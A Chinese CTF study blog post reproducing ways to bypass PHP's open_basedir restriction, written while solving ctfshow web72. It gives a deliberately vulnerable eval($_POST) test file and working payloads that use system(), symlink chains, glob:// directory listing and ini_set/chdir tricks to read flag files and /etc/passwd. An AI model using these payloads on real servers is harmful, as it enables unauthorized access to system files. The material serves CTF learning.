绕过 open_basedir
目录
0x01 首先了解什么是 open_basedir
0x02 通过命令执行绕过
0x03 通过symlink 绕过 (软连接)
0x04利用glob://绕过
方式1——DirectoryIterator+glob://
方式2——opendir()+readdir()+glob://
0x05 通过 ini_set和chdir来绕过
在ctfshow 72遇到的 open_basedir 所以进行学习
https://www.cnblogs.com/hookjoy/p/12846164.html#:~:text=%E5%8F%AA%E6%98%AF%E7%94%A8glob%3A,%E8%83%BD%E8%AF%BB%E5%8F%96%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B9%E3%80%82
上面是师傅的文章
我就跟着复现一下
0x01 首先了解什么是 open_basedir
open_basedir是php.ini的设置

在open_basedir设置路径的话 那么网站访问的时候 无法访问除了设置以外的内容
这里还有一个知识点
如果我们设置 open_basedir=/var/www/html那我们只能访问/var/www/html/index.php
/var/www/html/images/logo.png
/var/www/html/includes/config.php不能访问/var/www/otherfile.php(不在指定目录之下)
/var/www/html2/index.php(不是以指定路径为前缀)所以open_basedir并不是以目录名为 规定而是路径
我创建了一个test文件夹 存放着 1.php


那我设置open_basedir 指定 test
open_basedir =D:\phpstudy_pro\WWW\test
那我们看看能不能访问1.php

发现是ok的
那我们去访问一下 www的 flag.php呢

发现阻止了 并且我们无法访问其他目录 例如 sqli-labs

0x02 通过命令执行绕过
open_basedir对命令执行没有限制
假如没有进行过滤 那我们就可以通过system函数直接执行
我的1.php代码是
<?phpif(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}?>
没有过滤 而且通过post方式
c=show_source(__FILE__);system('type D:\phpstudy_pro\WWW\flag.php');

成功绕过了 open_basedir
这里是适用于 没有对命令进行过滤
但是一般都难以使用 会被disable_functions 禁用
0x03 通过symlink 绕过 (软连接)
软连接我们在 ciscn的unzip有见识到就是linux的快捷方式我们可以通过软连接;链接其他文件 然后对其进行访问
这里还需要介绍symlink()函数
symlink(链接的目标,链接的名称)
我们来尝试一下
<?php
symlink("/root/.presage/","/root/桌面/exp");
?>
然后我们执行一下
php 2.php

发现真的生成了一个文件夹exp 并且就是指向了我们需要的目录

这里我们开始复现师傅的内容
mkdir
创建文件夹chdir
切换到某文件夹的工作区间

假如我们在/var/www/html/的3.php处
<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
?>
执行

发现现在的路径变为了/var/www/html/A/B/C/D/
这个时候 我们已经进入了 D目录
我们需要退回 html界面就通过 ..即可
<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
?>
这个时候 就处于 var/www/html目录下
然后我们通过软连接链接 abcd
<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","7abc");
?>

这个时候 我们再建立
symlink("7abc/../../../../etc/passwd","exp");
的链接
但是这个我们是无法建立的 因为不存在这种软连接
但是我们只需要 删除 7abc的软连接 然后创建一个 7abc的文件夹
那么这样 就是
目录的7abc/../../../etc/passwd
这样就不会访问快捷方式的 而是当前目录的 然后访问exp

发现就是passwd里的内容了

这样我们就打破了 open_basedir的限制 访问了其他目录的内容
<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","7abc");
symlink("7abc/../../../../etc/passwd","exp");
unlink("7abc");
mkdir("7abc");
?>
这里payload的重点就是
我们想要跨越多少层就需要建立多少层的 目录然后通过软连接删除 生成文件夹 然后就可以通过当前文件夹 链接到该去的地方
0x04利用glob://绕过
照常 首先看看什么是 glob://协议
glob://协议 就是查找文件路径的模式是从 5.3开始使用的协议
利用师傅的 内容进行修改
<?php
$it = new DirectoryIterator("glob:///var/www/html/*.php");
foreach($it as $f) {printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
%s:字符串
%.1F 一位小数
%K 单位}
?>
打印一下 var/www/html的内容

发现生效了
但是如果只是单用 glob://无法绕过的
所以我们需要结合其他函数
方式1——DirectoryIterator+glob://
DirectoryIterator
就是一个接口 用户可以简单轻松的查看目录
<?php
$c=$_GET[c];
$a=new DirectoryIterator($c);
foreach($a as $f){echo($f->__toString().'<br>');
}
?>
然后我们输入 glob:///* 就可以列出根目录
但是 使用这个方法只能访问根目录和open_basedir受限的目录
所以对于 ctfshow web72 也可以使用这个方法访问根目录
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){echo($f->__toString().'<br>');
}exit();
?>

得到了flag的地址
回到这里
那我们就应该使用另一个方法
方式2——opendir()+readdir()+glob://
opendir()打开目录句柄readdir() 读取目录
<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {while ( ($file = readdir($b)) !== false ) {echo $file."<br>";}closedir($b);
}
?>
这里对于web72也可以使用
c=?><?php if ( $b = opendir("glob:///*") ) {while ( ($file = readdir($b)) !== false ) { echo $file."<br>";}closedir($b);}exit();

效果和 DirectoryIterator一样
只能根目录和限定目录
0x05 通过 ini_set和chdir来绕过
<?php
echo 'open_basedir: '.ini_get('open_basedir').'<br>';
echo 'GET: '.$_GET['c'].'<br>';
eval($_GET['c']);
echo 'open_basedir: '.ini_get('open_basedir');
?>

通过相对路径
mkdir('mi1k7ea');chdir('mi1k7ea');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/passwd');
首先我们创建一个可以上下跳的目录
/var/www/html创建 mi1k7ea /var/www/html/mi1k7ea切换到当前目录 通过 chdir然后ini_set 设置 open_basedir为 ..那么这个时候 php.ini里的内容就为 ..
那我们进行切换工作目录chdir .. 返回上一个目录 即/var/www/html通过 open_basedir的比对 符合.. 那么就可以访问我们再来一次/var/www/var/
最后到/ 了 但是我们无法通过 / 去访问 因为 / != ..这个时候 我们再来一次 ini_set 设置为 / 这个时候 我们就可以访问 / 下的任何内容了
这里有一个需要注意如果我们的php文件在根目录即/var/www/html/那么就需要创建一个 目录来进行设置
即mkdir("123");chdir("123");ini_set("open_basedir","..");如果我们不在根目录
即/var/www/html/test/并且open_basedir为 /var/www/html/那么我们就不需要再创建一个目录来设置直接在test上操作即可即 ini_set("open_basedir","..");chdir("..");
到此 差不多就结束了
相关文章:
绕过 open_basedir
目录 0x01 首先了解什么是 open_basedir 0x02 通过命令执行绕过 0x03 通过symlink 绕过 (软连接) 0x04利用glob://绕过 方式1——DirectoryIteratorglob:// 方式2——opendir()readdir()glob:// 0x05 通过 ini_set和chdir来绕过 在ctfshow 72遇到…...
如何使用SpringBoot 自定义转换器
😀前言 本篇博文是关于SpringBoot 自定义转换器的使用,希望你能够喜欢😊 🏠个人主页:晨犀主页 🧑个人简介:大家好,我是晨犀,希望我的文章可以帮助到大家,您的…...
多线程(进阶)
一、常见的锁策略 1.1读写锁 多线程之间,数据的读取方之间不会产生线程安全问题,但数据的写入方互相之间以及和读者之间都需 要进行互斥。如果两种场景下都用同一个锁,就会产生极大的性能损耗。所以读写锁因此而产生。 读写锁(r…...
端口输入的数据为什么要打拍?
一次作者在开发图像时候,对输入的图像没有打拍,直接输出给显示终端,时好时坏,或者图像颜色不正确,最终经过打拍解决了此问题。 //配置为16-Bit SDR ITU-R BT.656模式时pixel_data[23:16]为高阻。always (posedge pixe…...
Qt读写Excel--QXlsx编译为静态库2
1、概述🥔 在使用QXlsx时由于源码文件比较多,如果直接加载进项目里面,会增加每次编译的时间; 直接将源码加载进项目工程中,会导致项目文件非常多,结构变得更加臃肿; 所以在本文中将会将QXlsx编译…...
win11电脑查找已连接打印机ip的方法
此方法适用于驱动打印机,windows 11操作系统。 方法一:直接查看法 首先大家可以看看自己的打印机有没有lcd屏幕。有些直接在屏幕显示ip;另一种进入菜单,然后可以在里面的选项中显示“ip地址”。 方法二:设置中查看 …...
测试开发探索:“WeTalk“网页聊天室的测试流程与自动化
目录 引言: 测试开发目标: "WeTalk"项目背景 关于登录测试用例的设计 测试开发策略与流程 集成测试:Selenium JUnit 接口测试:Postman 测试用例的设计与实现 自动化测试演示: 用例一:登…...
图片增强组件实现
设计并实现了一个图片增强的组件,具体功能如下: 图片数据增强,包括且不限于:图片旋转、比例增强、高斯噪声、饱和度变换等若图片包含对应标注boundingbox,也支持对应变换,保证圈选内容的不变性实现多种方式…...
go.sum are different when using go mod vendor/download
本地Golang配置 今天本地编译一个项目,遇到以下错误 PS D:\Code\Golang\jiankunking\k8s-ext> go mod tidy go: downloading github.com/huaweicloud/huaweicloud-sdk-go-obs v3.23.4incompatible verifying github.com/gin-gonic/ginv1.7.3: checksum mismat…...
Docker技术入门教程
Docker技术入门教程 一、docker概念 一款产品从开发到上线,从操作系统,到运行环境,再到应用配置。作为开发运维之间的协作我们需要关心很多东西,这也是很多互联网公司都不得不面对的问题,特别是各种版本的迭代之后&a…...
Vue2-组件,组件的使用及注意点,组件嵌套,VueComponent构造函数,单文件组件
🥔:功不唐捐 更多Vue知识请点击——Vue.js VUE-Day5 组件与使用组件的三大步1、定义组件(创建组件)2、注册组件①局部注册②全局注册 3、使用组件小案例: 使用组件的一些注意点1.关于组件名2.关于组件标签3.一个简写方式 组件的嵌套VueCompon…...
IntelliJ IDEA Bookmark使用
1 增加 右键行号栏 2 查看 从favorite这里查看 参考IntelliJ IDEA 小技巧:Bookmark(书签)的使用_bookmark idea 使用_大唐冠军侯的博客-CSDN博客...
kriging-contour前端克里金插值
先看效果: 本项目在kriging-contour插件基础上进行了封装,增加了自定义区域插值,gitbub地址。...
第八章 CUDA内存应用与性能优化篇(中篇)
cuda教程目录 第一章 指针篇 第二章 CUDA原理篇 第三章 CUDA编译器环境配置篇 第四章 kernel函数基础篇 第五章 kernel索引(index)篇 第六章 kenel矩阵计算实战篇 第七章 kenel实战强化篇 第八章 CUDA内存应用与性能优化篇 第九章 CUDA原子(atomic)实战篇 第十章 CUDA流(strea…...
适用于物联网 (IoT)的远距离、低功耗、低速率WiFi—Wi-Fi HaLow
1. Wi-Fi 简介 Wi-Fi(Wireless Fidelity)是目前较为常见的无线通信方式,承载着一半以上的互联网流量。Wi-Fi是一个总称,涵盖了802.11通信协议系列,由Wi-Fi联盟持有并推动其发展。802.11通信协议发展至今已逾二十年&am…...
【解读Spikingjelly】使用单层全连接SNN识别MNIST
原文档:使用单层全连接SNN识别MNIST — spikingjelly alpha 文档 代码地址:完整的代码位于activation_based.examples.lif_fc_mnist.py GitHub - fangwei123456/spikingjelly: SpikingJelly is an open-source deep learning framework for Spiking Neur…...
穿越数字奇境:探寻元宇宙中的科技奇迹
随着科技的迅速发展,元宇宙正逐渐成为一个备受关注的话题,它不仅是虚拟现实的延伸,更是将现实世界与数字世界融合的未来典范。在这个神秘而充满活力的数字奇境中,涉及了众多领域和技术,为我们呈现出了一个无限的创新和…...
2024」预备研究生mem-阴影图形
一、阴影图形 二、课后题...
【设计模式】责任链模式
顾名思义,责任链模式(Chain of Responsibility Pattern)为请求创建了一个接收者对象的链。这种模式给予请求的类型,对请求的发送者和接收者进行解耦。这种类型的设计模式属于行为型模式。 在这种模式中,通常每个接收者…...
解密人工智能:线性回归 | 逻辑回归 | SVM
文章目录 1、机器学习算法简介1.1 机器学习算法包含的两个步骤1.2 机器学习算法的分类 2、线性回归算法2.1 线性回归的假设是什么?2.2 如何确定线性回归模型的拟合优度?2.3 如何处理线性回归中的异常值? 3、逻辑回归算法3.1 什么是逻辑函数?…...
C++实现分布式网络通信框架RPC(3)--rpc调用端
目录 一、前言 二、UserServiceRpc_Stub 三、 CallMethod方法的重写 头文件 实现 四、rpc调用端的调用 实现 五、 google::protobuf::RpcController *controller 头文件 实现 六、总结 一、前言 在前边的文章中,我们已经大致实现了rpc服务端的各项功能代…...
全球首个30米分辨率湿地数据集(2000—2022)
数据简介 今天我们分享的数据是全球30米分辨率湿地数据集,包含8种湿地亚类,该数据以0.5X0.5的瓦片存储,我们整理了所有属于中国的瓦片名称与其对应省份,方便大家研究使用。 该数据集作为全球首个30米分辨率、覆盖2000–2022年时间…...
今日科技热点速览
🔥 今日科技热点速览 🎮 任天堂Switch 2 正式发售 任天堂新一代游戏主机 Switch 2 今日正式上线发售,主打更强图形性能与沉浸式体验,支持多模态交互,受到全球玩家热捧 。 🤖 人工智能持续突破 DeepSeek-R1&…...
什么?连接服务器也能可视化显示界面?:基于X11 Forwarding + CentOS + MobaXterm实战指南
文章目录 什么是X11?环境准备实战步骤1️⃣ 服务器端配置(CentOS)2️⃣ 客户端配置(MobaXterm)3️⃣ 验证X11 Forwarding4️⃣ 运行自定义GUI程序(Python示例)5️⃣ 成功效果,支持8kHz~96kHz采样率,集成Δ-Σ调制器、数字抗混叠滤波器和高通滤波器,适用于高保真音频采集场景。 2. 核心特性 高精度:24位分辨率,…...
华硕a豆14 Air香氛版,美学与科技的馨香融合
在快节奏的现代生活中,我们渴望一个能激发创想、愉悦感官的工作与生活伙伴,它不仅是冰冷的科技工具,更能触动我们内心深处的细腻情感。正是在这样的期许下,华硕a豆14 Air香氛版翩然而至,它以一种前所未有的方式&#x…...
使用Matplotlib创建炫酷的3D散点图:数据可视化的新维度
文章目录 基础实现代码代码解析进阶技巧1. 自定义点的大小和颜色2. 添加图例和样式美化3. 真实数据应用示例实用技巧与注意事项完整示例(带样式)应用场景在数据科学和可视化领域,三维图形能为我们提供更丰富的数据洞察。本文将手把手教你如何使用Python的Matplotlib库创建引…...
jdbc查询mysql数据库时,出现id顺序错误的情况
我在repository中的查询语句如下所示,即传入一个List<intager>的数据,返回这些id的问题列表。但是由于数据库查询时ID列表的顺序与预期不一致,会导致返回的id是从小到大排列的,但我不希望这样。 Query("SELECT NEW com…...
yaml读取写入常见错误 (‘cannot represent an object‘, 117)
错误一:yaml.representer.RepresenterError: (‘cannot represent an object’, 117) 出现这个问题一直没找到原因,后面把yaml.safe_dump直接替换成yaml.dump,确实能保存,但出现乱码: 放弃yaml.dump,又切…...
rm视觉学习1-自瞄部分
首先先感谢中南大学的开源,提供了很全面的思路,减少了很多基础性的开发研究 我看的阅读的是中南大学FYT战队开源视觉代码 链接:https://github.com/CSU-FYT-Vision/FYT2024_vision.git 1.框架: 代码框架结构:readme有…...
